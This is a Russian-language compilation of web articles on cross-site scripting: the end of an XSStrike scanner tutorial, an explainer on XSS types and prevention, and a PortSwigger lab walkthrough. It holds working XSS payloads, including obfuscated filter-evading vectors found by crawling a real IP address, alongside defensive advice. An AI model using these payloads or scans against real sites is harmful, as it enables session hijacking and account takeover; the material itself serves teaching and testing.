Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.
python xsstrike.py -u “http://161.35.92.161” –blind –crawl -l 100
Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.
[~] Crawling the target
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for message: <htMl%09oNMOuseoVER%0d=%0dconfirm()//
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for page: <hTMl%0donPointereNter%0a=%0a[8].find(confirm)>
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for name: <D3v/+/oNMoUSeoveR%0a=%0a(confirm)()%0dx>v3dm0s
!] Progress: 3/3
Также полезная функция – обход url страниц, которые указаны в файле с помощью опции –seeds. Можно также использовать вместе с опцией –headers.
python xsstrike.py -u “http://example.com” -l 3 –seeds urls.txt
Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.
Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .
Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.
Заключение
Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.
Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.
Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92
Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!
Опубликовано: воскресенье, 5 февраля 2023 г. в 10:09
- Security
В этой статье мы объясним, что такое межсайтовые сценарии (XSS), опишем разновидности уязвимостей XSS и разъясним, как найти и предотвратить XSS.
Что такое межсайтовые сценарии (XSS)
Cross-site scripting/Межсайтовые сценарии (также известная как XSS) — уязвимость веб-безопасности позволяющая злоумышленнику скомпрометировать взаимодействие пользователей с уязвимым приложением. Это позволяет злоумышленнику обойти политику одинакового источника (same-origin policy) предназначенную для отделения разных веб-сайтов друг от друга. Уязвимость межсайтовых сценариев (XSS) позволяет злоумышленнику замаскироваться под пользователя-жертву, выполнять любые действия, которые может выполнить пользователь, и получать доступ к любы данным пользователя. Если пользователь-жертва имеет привилегированный доступ к приложению, злоумышленник может получить полный контроль над всеми функциями и данными приложения.
Как работает XSS/межсайтовые сценарии
Межсайтовые сценарии работают манипулируя уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносный JavaScript. Когда вредоносный код выполняется в браузере жертвы, злоумышленник может полностью скомпрометировать его (жертвы) взаимодействие с приложением.
Подтверждение концепции XSS
Большинство уязвимостей XSS можно подтвердить внедрив полезную нагрузку, которая заставит ваш собственный браузер выполнять произвольный JavaScript код. Давно стало обычной практикой использовать для этой цели alert()
, потому что это короткая и безвредная команда, и её сложно не заметить при успешном вызове.
К сожалению, есть небольшая заминка, если вы используете Chrome. Начиная с версии 92 (от 20 июля 2021 г.) фреймы из разных источников не могут вызывать alert()
. Поскольку они используются для создания более продвинутых XSS атак, вам нужно использовать альтернативную полезную нагрузку. В этом случае мы рекомендуем функцию print()
. Если вам интересно узнать больше об этом изменении и о том почему нам нравится print()
, прочитайте статью на эту тему alert() is dead, long live print()
.
Какие типы XSS атак существуют
Существует три основных типа XSS атак. Это:
- Reflected XSS — Отражённый XSS, где вредоносный скрипт исходит из текущего HTTP-запроса.
- Stored XSS — Сохранённый XSS, где вредоносный тип берётся из базы данных сайта.
- DOM-based XSS — XSS на основе DOM, где уязвимость существует в коде на стороне клиента, а не в коде на стороне сервера.
Отражённый межсайтовый сценарий / Reflected XSS
Отражённый XSS — простейшая разновидность межсайтовых сценариев. Он возникает, когда приложение получает данные в HTTP-запросе и включает эти данные в немедленный ответ небезопасным способом.
Вот простейший пример Отражённой XSS уязвимости:
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>
Приложение не выполняет никакой обработки данных, поэтому злоумышленник может легко построить атаку следующим образом:
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
Если пользователь посещает URL-адрес созданный злоумышленником, сценарий злоумышленника выполняется в браузере пользователя в контексте сеанса этого пользователя с приложением. В этот момент сценарий может выполнять любые действия и извлекать любые данные, к которым у пользователя есть доступ.
Сохранённый межсайтовый сценарий / Stored XSS
Сохранённый XSS (также известный как постоянный или XSS второго порядка) возникает, когда приложение получает данные из ненадёжного источника и включает эти данные в свои более поздние HTTP-ответы небезопасным способом.
Рассматриваемые данные могут быть отправлены в приложение через HTTP-запросы; например, комментарии к сообщению в блоге, псевдонимы пользователей в чате или контактные данные в заказе клиента. В других случаях данные могут поступать из других ненадёжных источников; например, приложение веб-почты, отображающее сообщения полученные по SMTP, маркетинговое приложение, отображающее сообщения из соцсетей, или приложение для мониторинга сет, отображающее пакетные данные из сетевого трафика.
Простой пример Сохранённой XSS-уязвимости. Приложение доски объявлений позволяет пользователям отправлять сообщения отображаемые для других пользователей:
<p>Hello, this is my message!</p>
Приложение не выполняет никакой обработки данных, поэтому злоумышленник может легко отправить сообщение атакующее других пользователей:
<p><script>/* Bad stuff here... */</script></p>
Межсайтовые сценарии на основе DOM / DOM-based XSS
Межсайтовые сценарии на основе DOM (также известны как DOM XSS) возникают, когда приложение содержит некоторый клиентский JavaScript, обрабатывающий данные из ненадёжного источника небезопасным образом, обычно путём записи данных обратно в DOM.
В следующем примере приложение использует JavaScript для чтения значения из полей ввода и записи этого значения в HTML элемент:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
Если злоумышленник может контролировать значение поля ввода, он может создать вредоносное значение приводящее к выполнению его собственного сценария:
You searched for: <img src=1 onerror=''>
В типичном случае поле ввода заполняется частью HTTP-запроса, например параметром строки запроса URL-адреса, что позволяет злоумышленнику осуществить атаку с использованием вредоносного URL-адреса таким же образом, как и Отражённый XSS.
Для чего используется XSS
Злоумышленник использующий уязвимость межсайтовых сценариев, обычно может:
- Выдавать себя за пользователя-жертву или маскироваться под него.
- Выполнить любое действие, которое может выполнить пользователь.
- Читать любы данные, к которым пользователь может получить доступ.
- Захватить учётную запись пользователя.
- Выполнить виртуальный дефейс веб-сайта.
- Внедрить троянские функции на веб-сайт.
Влияние XSS-уязвимостей
Фактическое воздействие XSS-атаки обычно зависит от характера приложения, его функционала и данных, а также статуса скомпрометированного пользователя. Например:
- В приложении, где все пользователи анонимны, а вся информация общедоступна, влияние зачастую будет минимальным.
- В приложение, хранящем конфиденциальные данные, такие как банковские транзакции, электронные письма или медицинские записи, воздействие будет очень серьёзным.
- Если скомпрометированный пользователь имеет повышенные привилегии в приложении, то воздействие, как правило, будет критическим. Позволяя злоумышленнику получить контроль над уязвимым приложение и скомпрометировать всех пользователей и их данные.
Как найти и протестировать XSS уязвимости
Подавляющее большинство уязвимостей можно найти с помощью веб-сканера уязвимостей.
Ручное тестирование Отражённых и Сохранённых XSS обычно включает отправку некоторого простого уникального ввода (например, короткой буквенно-цифровой строки) в каждую точку входа в приложении, идентификацию каждого места, где отправленные данные возвращаются в HTTP-ответах, и тестирование каждого местоположения по отдельности для определения можно ли использовать правильно сформированный ввод для выполнения произвольного JavaScript. Таким образом, вы можете определить контекст, в котором происходит XSS, и выбрать подходящую полезную нагрузку для его использования.
Ручное тестирование XSS на основе DOM, возникающее из параметров URL, включает аналогичный процесс: помещение некоторого простого уникального ввода в параметр, использование инструментов разработчика браузера для поиска этих данных в DOM и проверка каждого местоположения для определения возможности его использования. Однако другие типы DOM XSS сложнее обнаружить. Для поиска уязвимости на основе DOM во входных данных, не основанных на URL (например document.cookie
) или приёмниках не основанных на HTML (например, setTimeout
), ничто не заменит просмотра JavaScript кода, который может занять очень много времени. Сканеры веб-уязвимостей сочетают в себе статический и динамический анализ JavaScript для надёжной автоматизации уязвимостей на основе DOM.
Политика безопасности контента / Content security policy
Политика безопасности контента (CSP) — механизм браузера, цель которого смягчение воздействия межсайтовых сценариев и некоторых других уязвимостей. Если приложение, использующее CSP, ведёт себя как XSS, то CSP может затруднить или предотвратить использование уязвимости. Часто CSP можно обойти, чтобы использовать основную уязвимость.
Внедрение висячей разметки / Dangling markup injection
Внедрение висячей разметки — метод который можно использовать для захвата данных между доменами в ситуации, когда полноценный эксплойт межсайтового сценария не возможен из-за входных фильтров или других средств защиты. Его часто можно использовать для сбора конфиденциальной информации доступной другим пользователям, включая CSRF токены, которые можно использовать для выполнения несанкционированных действий от имени пользователя.
Как предотвратить XSS атаки
Предотвращение межсайтовых сценариев в некоторых случаях тривиально, но может быть намного сложнее в зависимости от сложности приложения и способов, которыми оно обрабатывает данные контролируемые пользователем.
В целом, эффективное предотвращение XSS-уязвимостей, вероятно, будет включать в себя сочетание следующих мер:
- Фильтровать входящие данные. В момент получения пользовательских данных фильтруйте как можно боле строго на основе ожидаемого или валидного ввода.
- Кодирование данных на выходе. В момент, когда управляемые пользователем данные выводятся в HTTP-ответах, кодируйте выходные данные, чтобы предотвратить их интерпретацию как активное содержимое. В зависимости от контекста вывода может потребоваться комбинация HTML, URL, JavaScript и CSS кодирования.
- Используйте соответствующие заголовки ответов. Для предотвращения XSS в HTTP-ответах, которые не должны содержать какой-либо HTML или JavaScript, вы можете использовать заголовки
Content-Type
иX-Content-Type-Options
для гарантии, что браузер интерпретирует ответы так, как вы задумали. - Политика безопасности контента. В качестве последней линии защиты вы можете использовать политику безопасности контента (CSP), для уменьшения серьёзности любых XSS-уязвимостей, которые всё ещё встречаются.
Общие вопросы о межсайтовых сценариях
Насколько распространены XSS уязвимости?
XSS-уязвимости очень сильно распространены, и XSS, вероятно, является наиболее часто встречающейся уязвимостью веб-безопасности.
Насколько распространены XSS атаки?
Трудно получить надёжные данные о реальных XSS-атаках, но, вероятно, они используются реже, чем другие уязвимости.
В чём разница между XSS и CSRF?
XSS заставляет веб-сайт возвращать вредоносный код JavaScript, а [CSRF](/articles/security/csrf/) побуждает пользователя-жертву выполнять действия, которые он не намеревался совершать.
В чём разница между XSS и SQL-инъекцией?
XSS — уязвимость на стороне клиента, нацеленная на других пользователей приложения, а внедрение SQL — уязвимость на стороне сервера, нацеленная на базу данных приложения.
Как предотвратить XSS в PHP?
Фильтруйте вводимые данные с помощью белого списка разрешённых символов и используйте подсказки типов или приведение типов. Экранируйте входящие данные с htmlentities
и ENT_QUOTES
для HTML контекстов или экранирование JavaScript Unicode для контекста JavaScript.
Как предотвратить XSS в Java?
Фильтруйте вводимые данные с помощью белого списка разрешённых символов и используйте библиотеку, например Google Guava
для HTML-кодирования выходных данных для HTML контекста или используйте escape-последовательности JavaScript Unicode для JavaScript контекста.
Просмотров: 56
Здравствуйте, дорогие друзья.
В рамках данной статьи, я покажу Вам, как можно искать уязвимости Reflected XSS, на примере решения лабораторий с сайта Portswigger. Ссылка на лаборатории: https://portswigger.net/web-security/all-labs, где нам нужно найти вкладку XSS с задачками:
Откроем первую лабораторию, с Reflected (отраженный) XSS:
Жмем на зеленую кнопку «access the lab», и попадаем на сайт:
Сразу обращаем внимание, что у нас появляется строка поиска, в блоге, которую можно использовать в качестве точки входа на веб-сайте.
Введем какие-либо текстовые данные. Например, слово «test», предварительно сконнектив инструмент BurpSuite, и наш браузер. Видим вот такой вывод:
Отправляем наш запрос на вкладку «Repeater», с помощью горячих клавиш «Ctrl+R»:
Попутно отключаем перехватчик (intercept), и начинаем тестировать данную страницу, с помощью измененного запроса в строке поиска:
Жмем на кнопку «Send», в левом верхнем углу, и получаем вывод в правой части инструмента:
Можно поискать точку входа в веб-приложение, с помощью окна поиска в правом нижнем углу, введя слово «test», которое мы прописывали на сайте:
Мы можем добавлять какие-либо данные в первой строке запроса (левый верхний угол), и получать соответствующие ответы:
Таким образом, для поиска XSS уязвимостей, мы можем ставить в строку поиска теги <script>alert(1)</script>
, и посмотреть, что у нас получается:
Вывод есть, и на странице мы получили успешное прохождение нашей лаборатории:
Теперь для наглядности покажу, как все работает на сайте. Пробуем по новой включать перехватчик, и на сайте прописывать данный скрипт:
И получаем вывод нашего всплывающего окна. Уязвимость есть.
Одна лаборатория решена.
На этом все. Всем хорошего дня!